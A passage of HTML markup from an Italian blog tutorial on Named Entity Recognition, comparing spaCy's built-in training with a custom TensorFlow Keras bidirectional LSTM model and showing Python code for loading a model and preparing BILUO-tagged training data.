&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Loading from&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, output_dir)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;nlp2 = spacy.load(output_dir)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; text, _ &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; TRAIN_DATA:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    doc = nlp2(text)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Entities&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, [(ent.text, ent.label_) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; ent &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; doc.ents])&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Tokens&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, [(t.text, t.ent_type_, t.ent_iob) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; t &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; doc])&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 6 - Salavataggio e caricamento del modello&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;In questo esempio non viene in alcun modo definita l&amp;#x27;architettura del modello, nè tanto meno viene gestito il vocabolario alla base del modello, cosi come
il processo di archiviazione e salvataggio di quest&amp;#x27;ultimo.&lt;br/&gt;
Viene tutto gestito da Spacy, che definisce tutta la logica della Named Entity Recognition nella pipeline di
riferimento. Questo permette anche a chi è meno esperto di poter intraprendere l&amp;#x27;addestramento di un modello per un task del genere.&lt;/p&gt;&lt;p&gt;In ogni caso, indagando in profondità nell&amp;#x27;implementazione della pipeline, troviamo che l&amp;#x27;architettura utilizzata è quella di una &lt;a href=&quot;https://en.wikipedia.org/wiki/Residual_neural_network&quot;&gt;rete convolutiva
con connessioni residue&lt;/a&gt;. Si tratta di reti convolutive che, similmente a quanto avviene nelle
celle piramidali della nostra corteccia cerebrale, definiscono delle connessioni residue con altre parti della rete neurale; per alcuni task di NLP queste
reti dimostrano di performare in modo molto efficace e superare le prestazioni di altri algoritmi di Deep Learning.&lt;/p&gt;&lt;p&gt;Per approfondimenti e maggiori dettagli è presente un&amp;#x27;ottima documentazione sul sito di Spacy, sia riguardo la
&lt;a href=&quot;https://spacy.io/usage/training#ner&quot;&gt;procedura di addestramento&lt;/a&gt;, sia riguardo l&amp;#x27;&lt;a href=&quot;https://spacy.io/models#architecture&quot;&gt;architettura&lt;/a&gt; utilizzata.&lt;br/&gt;
La configurazione utilizzata può in molti casi portare sin da subito a delle ottime prestazioni; rimane sempre consigliato svolgere
un&amp;#x27;attività di ottimizzazione dei parametri al fine di individuare quella che è la configurazione migiore. Per consigli su come svolgere
questa ottimizzazione visita &lt;a href=&quot;https://spacy.io/usage/training#tips&quot;&gt;https://spacy.io/usage/training#tips&lt;/a&gt;.  &lt;/p&gt;&lt;h4 id=&quot;tensorflow&quot;&gt;Tensorflow&lt;/h4&gt;&lt;p&gt;&lt;a href=&quot;https://www.tensorflow.org/&quot;&gt;&lt;strong&gt;Tensorflow&lt;/strong&gt;&lt;/a&gt; è tra le librerie di Deep Learning più utilizzate sia per le sperimentazioni, sia in contesto
di produzione.
Definisce una moltitudine di strumenti e tecniche comunemente utilizzate per realizzare
modelli di Machine Learning basati su reti neurali molto profonde. Viene gestita da Google ed è completamente open source.&lt;/p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-wrapper&quot; style=&quot;position:relative;display:block;margin-left:auto;margin-right:auto;max-width:1200px&quot;&gt;
      &lt;a class=&quot;gatsby-resp-image-link&quot; href=&quot;/static/7cc2bb63a5caa1e1e5279a3dc06acc55/c1b63/tf.png&quot; style=&quot;display:block&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;
    &lt;span class=&quot;gatsby-resp-image-background-image&quot; style=&quot;padding-bottom:56.333333333333336%;position:relative;bottom:0;left:0;background-image:url(&amp;#x27;data:image/svg+xml,%3csvg%20xmlns=\&amp;#x27;http://www.w3.org/2000/svg\&amp;#x27;%20width=\&amp;#x27;400\&amp;#x27;%20height=\&amp;#x27;225\&amp;#x27;%20viewBox=\&amp;#x27;0%200%20400%20225\&amp;#x27;%20preserveAspectRatio=\&amp;#x27;none\&amp;#x27;%3e%3cpath%20d=\&amp;#x27;M183%2059l-13%208-1%207v8l8-5%209-5%201%2020%201%2020%205%203%205%203V85l-1-34-14%208m18%2026v33l5-3%206-3v-9c0-11%200-11%205-8l4%202V85l-5-3c-3-3-4-3-4-6%200-5%200-5%209%201l8%204%201-7v-7l-14-8-14-8-1%2034M84%20142l-1%202c0%202%201%202%206%202h5v29h6v-29h5c5%200%205%200%205-2v-3H97l-13%201m140%2016v17h6v-14h7c6%200%206%200%206-2%200-3%200-3-6-3h-7v-10h8c7%200%207%200%207-2v-3h-21v17m25-16l-1%2017v16h6v-34h-2l-3%201m-137%209c-4%202-7%207-7%2012%200%2010%2012%2016%2020%2010%202-2%202-2%201-4h-4c-3%203-7%202-9-1-3-4-3-4%206-4h9l-1-5c-1-8-8-12-15-8m28-1l-3%201-2-1h-3v25h3c2%200%202%200%202-9%200-8%200-9%202-10%206-4%208-1%208%2010v9h6v-10c0-9-1-11-3-13-2-3-6-3-10-2m21%201c-8%204-6%2011%203%2013%206%202%208%203%206%206-2%202-7%201-8-1-2-3-6-3-6%200%200%207%2016%209%2019%203%203-5%200-9-8-12l-4-3c0-3%205-4%207-1%201%203%206%203%206%200%200-5-9-8-15-5m25%200c-6%203-9%2012-6%2018%206%2011%2021%208%2022-4%202-11-7-19-16-14m28%200h-2l-3-1h-3v25h6v-9c0-10%201-11%206-11%202%200%202-1%202-3-1-3-3-4-6-1m51%200c-9%205-9%2020%201%2024s19-7%2015-17c-3-7-10-11-16-7m19%202c4%2018%206%2021%208%2022%202%200%203%200%205-8l3-7a836%20836%200%20018%2015l3-4%203-12%203-9h-3a3565%203565%200%2000-7%2015l-3-8c-1-5-2-7-4-7s-3%201-4%207c-3%2010-3%2010-5%201-2-8-2-8-5-8s-3%200-2%203m-96%202c-2%202-4%208-3%2011%202%206%209%206%2011%201%203-7-3-16-8-12m79%200c-5%203-4%2014%202%2016%203%200%206-2%207-6%201-7-4-13-9-10\&amp;#x27;%20fill=\&amp;#x27;%23d3d3d3\&amp;#x27;%20fill-rule=\&amp;#x27;evenodd\&amp;#x27;/%3e%3c/svg%3e&amp;#x27;);background-size:cover;display:block&quot;&gt;&lt;/span&gt;
  &lt;picture&gt;
        &lt;source srcSet=&quot;/static/7cc2bb63a5caa1e1e5279a3dc06acc55/c85cb/tf.webp 300w,/static/7cc2bb63a5caa1e1e5279a3dc06acc55/e88ff/tf.webp 600w,/static/7cc2bb63a5caa1e1e5279a3dc06acc55/92f8c/tf.webp 1200w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/webp&quot;/&gt;
        &lt;source srcSet=&quot;/static/7cc2bb63a5caa1e1e5279a3dc06acc55/5a46d/tf.png 300w,/static/7cc2bb63a5caa1e1e5279a3dc06acc55/0a47e/tf.png 600w,/static/7cc2bb63a5caa1e1e5279a3dc06acc55/c1b63/tf.png 1200w&quot; sizes=&quot;(max-width: 1200px) 100vw, 1200px&quot; type=&quot;image/png&quot;/&gt;
        &lt;img alt=&quot;Figura 8 - Tensorflow&quot; class=&quot;gatsby-resp-image-image&quot; src=&quot;/static/7cc2bb63a5caa1e1e5279a3dc06acc55/c1b63/tf.png&quot; title=&quot;Figura 8 - Tensorflow&quot; loading=&quot;lazy&quot; style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0&quot;/&gt;
      &lt;/picture&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Figura 8 - Tensorflow&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;p&gt;Tensorflow permette di realizzare qualsiasi modello basato su Deep Learning, dando la possibilità di progettare le reti sia attraverso tecniche molto
avanzate che permettono la codifica degli aspetti di più basso livello, sia utilizzando layer predefiniti per creare la propria rete neurale
con l&amp;#x27;architettura che più fa al caso proprio, configurando i diversi layer e la logica di addestramento a proprio piacere, ricercando le migliori performance.&lt;/p&gt;&lt;p&gt;In Spacy siamo di fatto costretti ad utilizzare l&amp;#x27;architettura scelta dagli sviluppatori, potendo agire in alcuni suoi parametri di configurazione, ma senza
poter definire nel dettaglio l&amp;#x27;algoritmo di addestramento.&lt;br/&gt; L&amp;#x27;architettura fornita dallo strumento di Spacy in molti casi si può rivelare la migliore,
ma potrebber anche essere che, per una determinare sorgente dati e per la natura delle entità che si vogliono riconoscere,
ci sia un algoritmo migliore delle reti convolutive scelte in Spacy.&lt;/p&gt;&lt;p&gt;Con Tensorflow, come detto, si può realizzare qualsiasi algoritmo e modello, basato su Deep Learning. Vediamo quindi come definire un modello
per la Named Entity Recognition utilizzando &lt;a href=&quot;https://www.tensorflow.org/api_docs/python/tf/keras&quot;&gt;&lt;strong&gt;Tensorflow Keras&lt;/strong&gt;&lt;/a&gt; e
&lt;a href=&quot;https://en.wikipedia.org/wiki/Bidirectional_recurrent_neural_networks&quot;&gt;reti neurali ricorrenti bidirezionali&lt;/a&gt; di tipo
&lt;a href=&quot;https://en.wikipedia.org/wiki/Long_short-term_memory&quot;&gt;&lt;strong&gt;LSTM&lt;/strong&gt;&lt;/a&gt;.&lt;br/&gt;
Le reti neurali ricorrenti si adattano ottimamente laddove risulta rilevante individuare relazioni tra feature per il task da svolgere. E per questo motivo
sono molto utilizzate per i task di NLP, dove le relazioni nel testo sono molto importanti, come il riconoscimento delle entità.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;7&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# import&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pandas &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pd&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; numpy &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; np&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pickle&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;as&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tf&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras.preprocessing.sequence &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; pad_sequences&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras.utils &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; to_categorical&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; Model, Input&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras.layers &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; LSTM, Embedding, Dense&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras.layers &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; TimeDistributed, SpatialDropout1D, Bidirectional&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; tensorflow.keras.callbacks &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; EarlyStopping&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk15&quot;&gt;from&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; sklearn.model_selection &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;import&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; train_test_split&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 7 - Import delle librerie necessarie&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;Dovendo definire la logica a più basso livello, anche la gestione dei dati va fatta in modo differente, andando a gestire aspetti che
in Spacy vengono gestite dalla libreria stessa.&lt;br/&gt;
Nello snippet seguente vengono letti i dati di training, in formato BILUO, in un pandas dataframe. Vengono successivamente create le liste senza duplicati dei
token e dei tag presenti nel dataset. Infine, secondo la logica definita dalla classe &lt;strong&gt;SentenceGetter&lt;/strong&gt;, il dataset viene splittato in frasi diverse, e vengono
creati dei vocabolari che mappano le liste delle parole e dei tag su degli identificativi numerici.&lt;/p&gt;&lt;figure class=&quot;ContainerBleed-module--bleed--xdVv_&quot;&gt;&lt;div class=&quot;CodeFigure-module--content--BaGeQ&quot;&gt;&lt;div class=&quot;CodeFigure-module--margin--3Mi0E&quot;&gt;&lt;pre class=&quot;grvsc-container default-dark&quot; data-language=&quot;python&quot; data-index=&quot;8&quot;&gt;&lt;code class=&quot;grvsc-code&quot;&gt;&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# class to split dataset in sentences&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk4&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;SentenceGetter&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;object&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;    &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;def&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;__init__&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;data&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;):&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.n_sent = &lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.data = data&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        agg_func = &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;lambda&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;: [(w, t) &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; w, t &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;zip&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(s[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Word&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].values.tolist(), s[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Tag&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].values.tolist())]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.grouped = &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.data.groupby(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Sentence #&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;).apply(agg_func)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;        &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.sentences = [s &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; s &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;self&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;.grouped]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# reading csv in pandas dataframe&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;data = pd.read_csv(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;data/biluo_train_data.csv&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, &lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;encoding&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;latin1&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;data.fillna(&lt;/span&gt;&lt;span class=&quot;mtk12&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;ffill&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;data.head(&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Unique words in corpus:&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, data[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;Word&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].nunique())&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Unique tags in corpus:&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;, data[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;#x27;Tag&amp;#x27;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].nunique())&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# defining list of words&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;words = &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(data[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Word&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].values))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;words.append(&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;ENDPAD&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;num_words = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(words)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# defining list of tags&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;tags = &lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;list&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mtk10&quot;&gt;set&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(data[&lt;/span&gt;&lt;span class=&quot;mtk8&quot;&gt;&amp;quot;Tag&amp;quot;&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;].values))&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;num_tags = &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;len&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(tags)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk11&quot;&gt;print&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; (num_words, num_tags)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# splitting dataset in sentences&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;getter = SentenceGetter(data)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;sentences = getter.sentences&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk3&quot;&gt;# defining dictionaries to mapping words and tags to integers&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;word2idx = {w: i+&lt;/span&gt;&lt;span class=&quot;mtk7&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; i, w &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(words)}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;grvsc-line&quot;&gt;&lt;span class=&quot;mtk1&quot;&gt;tag2idx = {t: i &lt;/span&gt;&lt;span class=&quot;mtk15&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; i, t &lt;/span&gt;&lt;span class=&quot;mtk4&quot;&gt;in&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt; &lt;/span&gt;&lt;span class=&quot;mtk11&quot;&gt;enumerate&lt;/span&gt;&lt;span class=&quot;mtk1&quot;&gt;(tags)}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;figcaption&gt;Source Code 8 - Lettura e trasformazione dei dati&lt;/figcaption&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;p&gt;A questo punto i vocabolari creati vengono utilizzati per mappare ogni contenuto testuale su una sequenza di interi, potendo poi così
dare queste in input alla rete neurale definita per le epoche di addestramento.&lt;br/&gt;
Una volta fatto ciò gli insiemi dei dati e dei tag assiociati vengono splittati in insieme di training e insieme di test, che verrà utilizzato
